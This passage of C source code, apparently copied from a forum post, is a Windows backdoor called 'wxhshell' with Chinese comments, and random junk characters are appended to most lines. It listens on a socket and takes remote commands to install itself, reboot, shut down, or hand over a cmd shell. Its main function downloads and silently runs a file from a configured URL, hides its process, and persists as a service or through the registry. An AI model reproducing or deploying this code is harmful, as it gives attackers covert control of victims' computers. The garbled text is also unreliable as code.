  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z<;U:aH?}  
  }  "Y7+{  
  else { !"Qb}g  
OU!nN>ln  
    switch(cmd[0]) { WSQ[.C  
  P/ci/y_1  
  // 帮助 SSE3tcRRl  
  case '?': { P+h6!=nD7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gmY/STN   
    break;  EZ<80G  
  } t05_Px!mW  
  // 安装 :G-1YA  
  case 'i': { V JDoH  
    if(Install()) L\YKdUL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8lwFAiC8  
    else 4QE=f(u;h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |QVr `tE<  
    break; -/>9c-F  
    } OUzR@$  
  // 卸载 7:>sc]Z  
  case 'r': { _.{zpF=j  
    if(Uninstall()) 86%%n?"}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;WD,x:>blO  
    else 1AF%-<`?s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xYI;V7  
    break; _1  p DA  
    } nL+p~Hi  
  // 显示 wxhshell 所在路径 9_ZBV{   
  case 'p': { KY$k`f6?P  
    char svExeFile[MAX_PATH]; ]]TqP{H  
    strcpy(svExeFile,"\n\r"); &vkjmiAS  
      strcat(svExeFile,ExeFile); Vr/Bu4V"  
        send(wsh,svExeFile,strlen(svExeFile),0); _A{+H^,  
    break; ,[isib3  
    } H_w%'v&  
  // 重启 {~N3D4n^  
  case 'b': { R4{-Qv#8 q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *KJB>W%@uM  
    if(Boot(REBOOT)) 8[zb{PRu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Izn T|l^  
    else { sb^mLH] 3  
    closesocket(wsh); ?^u^im  
    ExitThread(0); 0(y:$  
    } -\#lF?fzb  
    break; #DFp[\)1  
    } Fi2xr<7"  
  // 关机 I[0!S IqY  
  case 'd': { m\ S\3n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XF*.Jg]  
    if(Boot(SHUTDOWN)) mR% FqaN_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1J{fXh  
    else { :,S98z#  
    closesocket(wsh); P4k;O?y  
    ExitThread(0); 8{0k0 &x  
    } pKT2^Q}-h  
    break; M`7y>Ud  
    } 6na^]t~ncm  
  // 获取shell O_;Dk W  
  case 's': { ]~0}=,H$N  
    CmdShell(wsh); l_{8+\`!  
    closesocket(wsh); ]< XR]FHx)  
    ExitThread(0); g(Yb^'X/  
    break; 5~H#(d<oZ  
  } K j3?ve~  
  // 退出 G2:%g(  
  case 'x': { DM{ 4@*]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <a( }kk}  
    CloseIt(wsh); D`yEwpV^  
    break; `P}9i@C  
    } //f  
  // 离开 Kibr ]w  
  case 'q': { VT%:zf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o!c] (  
    closesocket(wsh); ;*2>ES  
    WSACleanup(); ][&9]omB  
    exit(1); ~P .I<  
    break; j%IF2p2  
        } aEt/NwgiQ  
  } @FO) 0  
  } ?jx1R^  
4_/?:$KO  
  // 提示信息 #,d I$gY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Gb1K9A im  
} 2`G OJ,$  
  } %]2, &  
jszK7$]^  
  return; d5`3wd]]'v  
} r!PpUwod  
Dd/wUP  
// shell模块句柄 "A$!, PX6  
int CmdShell(SOCKET sock) 06q(aI^Ch@  
{ qOih`dla  
STARTUPINFO si; 7*5Z  
ZeroMemory(&si,sizeof(si)); Ej ".axjT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K%v1xZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 Orum/|h  
PROCESS_INFORMATION ProcessInfo; ~\LCvcY"X  
char cmdline[]="cmd"; . mLK`c6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eqw0]U\pv  
  return 0; )G^ KDj"  
} VX LT^iX  
i.D3'l  
// 自身启动模式 eq(am%3~  
int StartFromService(void) *t[. =_v  
{ '(bgs   
typedef struct FKNMtp[`  
{ =U%Rvm  
  DWORD ExitStatus; TJ q~)Bm  
  DWORD PebBaseAddress; aT>'.*\]  
  DWORD AffinityMask; VCXJwVb  
  DWORD BasePriority; OxI/%yv-c  
  ULONG UniqueProcessId; pn.wud}R  
  ULONG InheritedFromUniqueProcessId; P9g en6  
}   PROCESS_BASIC_INFORMATION; x8S7oO7  
z9FfU  
PROCNTQSIP NtQueryInformationProcess; h$4Hw+Yxs]  
1$M@]7e+!+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s l]_M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^6_e=jIN  
]gYz 4OT  
  HANDLE             hProcess; O+y-}7YX  
  PROCESS_BASIC_INFORMATION pbi; B2-V@06  
Zt.'K(]2h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0 stc9_O  
  if(NULL == hInst ) return 0; -FU}pz/  
O8B\{T1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uV!^,,~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #Q2Y&2`yGT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $STaQ28C  
uc;8 K,[t  
  if (!NtQueryInformationProcess) return 0; *:ZDd  
!%"8|)CAr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .Fdgb4>BXX  
  if(!hProcess) return 0; xuqv6b.  
F(tx)V ~T3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eeyHy"@  
R8ZK]5{o  
  CloseHandle(hProcess); N<~t3/Nm  
e" St_z(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O^oWG&Y;v  
if(hProcess==NULL) return 0; 7=;R& mqC  
H Z'_r cv  
HMODULE hMod; a(l29>  
char procName[255]; ;M)QwF1  
unsigned long cbNeeded; 9I}-[|`u  
wK?vPS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7@D@ucL  
-[cTx[Z,  
  CloseHandle(hProcess); OCNQvF~  
8fl`r~bqZ  
if(strstr(procName,"services")) return 1; // 以服务启动 < jJ  
"N`[r iq{  
  return 0; // 注册表启动 wOU_*uY@6'  
} G3Z)Z) N  
&5yV xL:  
// 主模块 )h7<?@wv&  
int StartWxhshell(LPSTR lpCmdLine) &L=suDe  
{ D]zwl@sRX:  
  SOCKET wsl; <0Xf9a8>  
BOOL val=TRUE; 37s0e;aF  
  int port=0; F(>Np2oi6  
  struct sockaddr_in door; N sXHO  
Q+[n91ey**  
  if(wscfg.ws_autoins) Install(); ,Q  
e|"WQ>  
port=atoi(lpCmdLine); 2LF/H$] o5  
LRL,m_gt  
if(port<=0) port=wscfg.ws_port; ZrpU <   
*\ R ]NV  
  WSADATA data; c2l@6<Ww  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; os=e|vkB*  
ofm#'7P 0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~%&LTX0s|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,E S0NA  
  door.sin_family = AF_INET; Lt64JH^lz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wW>A_{Y  
  door.sin_port = htons(port); +^60T$  
ag [ZW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )_YX DU  
closesocket(wsl); :CG`t?N9M  
return 1; |d{PA.@33  
} p`olCp'  
cr7 }^s  
  if(listen(wsl,2) == INVALID_SOCKET) { BC^ :=  
closesocket(wsl); =^M/{51j  
return 1; DX#Nf""Pw  
} SW@$ci  
  Wxhshell(wsl); we;-~A5J  
  WSACleanup(); 9+Np4i@  
fDv2JdiU  
return 0;  -*1d!  
j'Fpjt"&=  
} _>&X\`D   
T<n  
// 以NT服务方式启动 kMIcK4.MH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G/)O@Ugp  
{ )}Hpi<5N  
DWORD   status = 0; D+rxT: d  
  DWORD   specificError = 0xfffffff; ^UP`%egR  
0yk]o5a++  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g];!&R-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xG~P+n7t5$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $0W|26;  
  serviceStatus.dwWin32ExitCode     = 0; d[iQ` YW5  
  serviceStatus.dwServiceSpecificExitCode = 0; zO-z%y  
  serviceStatus.dwCheckPoint       = 0; S|Q@:r"  
  serviceStatus.dwWaitHint       = 0; rDdoOb]B  
}7b%HTF=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ROH|PKb7  
  if (hServiceStatusHandle==0) return; Zu*F#s!tUI  
q`Go`v  
status = GetLastError(); {5Q!Y&N.%  
  if (status!=NO_ERROR) S\CCrje  
{ /:cd\A}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Amtq"<h9a  
    serviceStatus.dwCheckPoint       = 0; )v'WWwXY>  
    serviceStatus.dwWaitHint       = 0; ahusta  
    serviceStatus.dwWin32ExitCode     = status; )*$lp'~7N  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^ gdaa>L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6_(&6]}66  
    return;  on4HKeO  
  } ]vAz  
./\@Km?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '+@=ILj>  
  serviceStatus.dwCheckPoint       = 0; *I B4[6  
  serviceStatus.dwWaitHint       = 0; ]_)yIi"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bTI|F]^!  
} P9R9(quI  
1y:-N6  
// 处理NT服务事件,比如:启动、停止  CT&|QH{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pd8![Z3  
{ B`EJb71^Xy  
switch(fdwControl) ?al'F  q  
{ ]a>n:p]e  
case SERVICE_CONTROL_STOP: jVEGj5F;N  
  serviceStatus.dwWin32ExitCode = 0; N"Z{5A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T;4NRC  
  serviceStatus.dwCheckPoint   = 0; %[GsD9_-  
  serviceStatus.dwWaitHint     = 0; xw.A #Zb\_  
  { {4l8}w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zOJ%}  
  } QRw"H 8nW  
  return; z[ N`s$;  
case SERVICE_CONTROL_PAUSE: aHD]k8 m z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9p]QM)M  
  break; !M(xG%M-V  
case SERVICE_CONTROL_CONTINUE: p#-Z4-`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )705V|v  
  break; &0d# Y]D4`  
case SERVICE_CONTROL_INTERROGATE: _YRFet[,m  
  break; (&r. w  
}; Y_liA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "MeVE#O  
} 0S"mVZ*P  
a .#)G[*  
// 标准应用程序主函数 fuW\bo3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !t"4!3  
{ y RqL9t  
PrqlTT}Px  
// 获取操作系统版本 #mxPw  
OsIsNt=GetOsVer(); ,~U>'&M;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -OV&Md:~  
G/E+L-N#`  
  // 从命令行安装 xo^b&ktQd  
  if(strpbrk(lpCmdLine,"iI")) Install();  $c!p&  
AI2)g1m  
  // 下载执行文件 g&L!1<, p  
if(wscfg.ws_downexe) { +Ze} B*0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) : $1?i)  
  WinExec(wscfg.ws_filenam,SW_HIDE); iT+8|Yia  
} b/K PaNv  
Fe*R  
if(!OsIsNt) { &u."A3(  
// 如果时win9x,隐藏进程并且设置为注册表启动 zpn9,,~u  
HideProc(); %@b0[ZC  
StartWxhshell(lpCmdLine); ^e,.  
} .vf'YNQ%  
else u[;\y|75  
  if(StartFromService()) l:~/<`o  
  // 以服务方式启动 >Er|Jxy  
  StartServiceCtrlDispatcher(DispatchTable); ,Zx0%#6  
else P8:dU(nlW  
  // 普通方式启动 ,&A7iO  
  StartWxhshell(lpCmdLine); 7~h<$8Y(T  
g{)dP!}  
return 0; +HpA:]#Y  
}
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只看该作者 1 发表于: 2006-10-10
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